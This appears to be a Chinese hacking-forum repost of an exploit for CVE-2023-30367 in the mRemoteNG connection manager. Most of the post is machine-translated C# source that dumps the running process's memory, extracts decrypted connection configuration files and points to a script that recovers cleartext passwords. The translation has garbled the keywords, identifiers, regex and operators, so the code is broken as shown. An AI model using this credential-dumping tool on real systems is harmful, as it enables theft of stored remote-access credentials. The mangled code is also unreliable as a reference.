H

mremoteng v1.77.3.1784 -nb-敏感信息在内存中存储敏感信息

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Mremoteng v1.77.3.1784 -NB-清除敏感信息在内存中存储的存储
#Google Dork:-
#日期: 21.07.2023
#利用作者: Maximilian Barz
#供应商HomePage3360 https://mremoteng.org/
#软件link: https://mremoteng.org/download
#版本: mremoteng=v1.77.3.1784-nb
#测试在: Windows 11
#CVE : CVE-2023-30367
/*
多人脱模下一代连接管理器(Mremoteng)是免费软件,使用户能够
存储和管理多协议连接配置,以远程连接到系统。
Mremoteng配置文件可以存储在磁盘上的加密状态。 mremoteng版本=v1.76.20和=1.77.3-dev
在应用程序启动时,将配置文件加载到纯文本中(如有必要,在将它们进行解密之后),
即使尚未建立联系。这允许攻击者访问纯文本中配置文件的内容
通过内存转储,当未设置自定义密码加密密钥时,损害用户凭据。
这也绕过连接配置文件加密设置,通过从内存中倾倒已经解密的配置。
Full漏洞和Mremoteng配置文件解密+密码Bruteforce Python Script: https://github.com/S1LKYS/CVE-2023-30367-Mremoteng-password-dumper
*/
使用系统;
使用System.Collections;
使用System.Collections.generic;
使用System.Diagnostics;
使用System.io;
使用System.Defrection;
使用system.runtime.interopservices;
使用System.Text;
使用System.Text.RegulareXpressions;
名称空间mremotengdumper
{
公共静态课程
{
公共枚举Minidump_type
{
MinidumpWithfullmemory=0x00000002
}
[structlayout(layoutkind.sequention,pack=4)]
公共结构Minidump_exception_information
{
public uint threadID;
public intptr exceptionpointer;
公共Int客户端销售商;
}
[dllimport('kernel32.dll')]
静态外部intptr openprocess(int dwdesiredaccess,bool binherithandle,int dwprocessid);
[dllimport('dbghelp.dll')]
静态外部bool minidumpwritedump(intptr hprocess,uint ProcessID,Safehandle hfile,minidump_type dumptype,ref minidump_exception_information_information exceptionparam,intptr usertreamparam,intptr usertreamparam,intptr callbackparam);
静态void main(string [] args)
{
字符串输入;
bool configfound=false;
StringBuilder filesb;
StringBuilder linesB;
listString configs=new ListString();
process [] localbyName=process.getProcessesbyname('mremoteng');
if(localbyname.length==0){
Console.Writeline('[ - ]未找到Mremoteng进程。退出');
System.Environment.EXIT(1);
}
字符串assemblypath=assembly.getEntryasembly()。位置;
console.writeline('[+]使用pid {0}。',localbyname [0] .id创建mremoteng的内存转储。
字符串dumpfileName=汇编+'_' + datetime.now.tostring('dd.mm.yyyy.hh.mm.ss') +'.dmp';
fileStream procdumpfileStream=file.create(dumpfileName);
minidump_exception_information info=new minidump_exception_information();
//在托管应用程序的情况下,必须进行完整的内存转储,其他明智没有信息
//关于托管代码将可用
minidump_type dumptype=minidump_type.minidumpwithfullmemory;
minidumpWritedump(localbyname [0] .handle,(uint)localbyname [0] .id,procdumpfilestream.safefilehandle,dumptype,ref info,ref info,intptr.zero,intptr.zero,intptr.zero);
procdumpfilestream.close();
filesb=new StringBuilder();
console.writeline('[+]在内存转储中搜索配置文件。');
使用(StreamReader Reader=new StreamReader(dumpfileName))
{
while(reader.peek()=0)
{
输入=reader.readline();
字符串模式=@'(\ node)(。*)(?=\/)\/';
匹配M=REGEX.MATCH(输入,模式,Regexoptions.ignorecase);
如果(M.Success)
{
configFound=true;
foreach(M.Value.split('')中的字符串配置)
{
configs.add(config);
}
}
}
reader.close();
if(配置)
{
字符串CurrentDir=System.io.directory.getCurrentDirectory();
字符串dumpdir=CurrentDir +'/dump';
如果(!directory.exists(dumpdir))
{
目录。
}
字符串SaveFilePath;
for(int i=0; i configs.count; i ++)
{
if(!string.isnullorementy(configs ))
{
savefilepath=currentDir +'\\ dump \\ extracted_configfile_mremoteng_' + i +''' + datetime.now.tostring('dd.mm.yyyy.hh.mm'') +'_confcons.xml';
console.writeline('[ +]保存提取的配置文件to:' + savefilepath);
使用(StreamWriter Writer=New StreamWriter(SaveFilePath))
{
writer.write(configs +'');
writer.close();
}
}
}
console.writeline('[+]完成!');
console.writeline('[+]删除memoryDump文件!');
file.delete(dumpfileName);
Console.WriteLine('[+] To decrypt mRemoteNG configuration files and get passwords in cleartext, execute: mremoteng_decrypt.py\r\n Example: python3 mremoteng_decrypt.py -rf \''+ currentDir + '\\dump\\extracted_Configfile_mRemoteNG_0_' + datetime.now.tostring('dd.mm.yyyy.hh.mm') +'_confcons.xml \'');
}
别的
{
Console.Writeline('[ - ]在MemoryDump中找到的配置文件。退出');
console.writeline('[+]删除memoryDump文件!');
file.delete(dumpfileName);
}
}
}
}
}
 
后退
顶部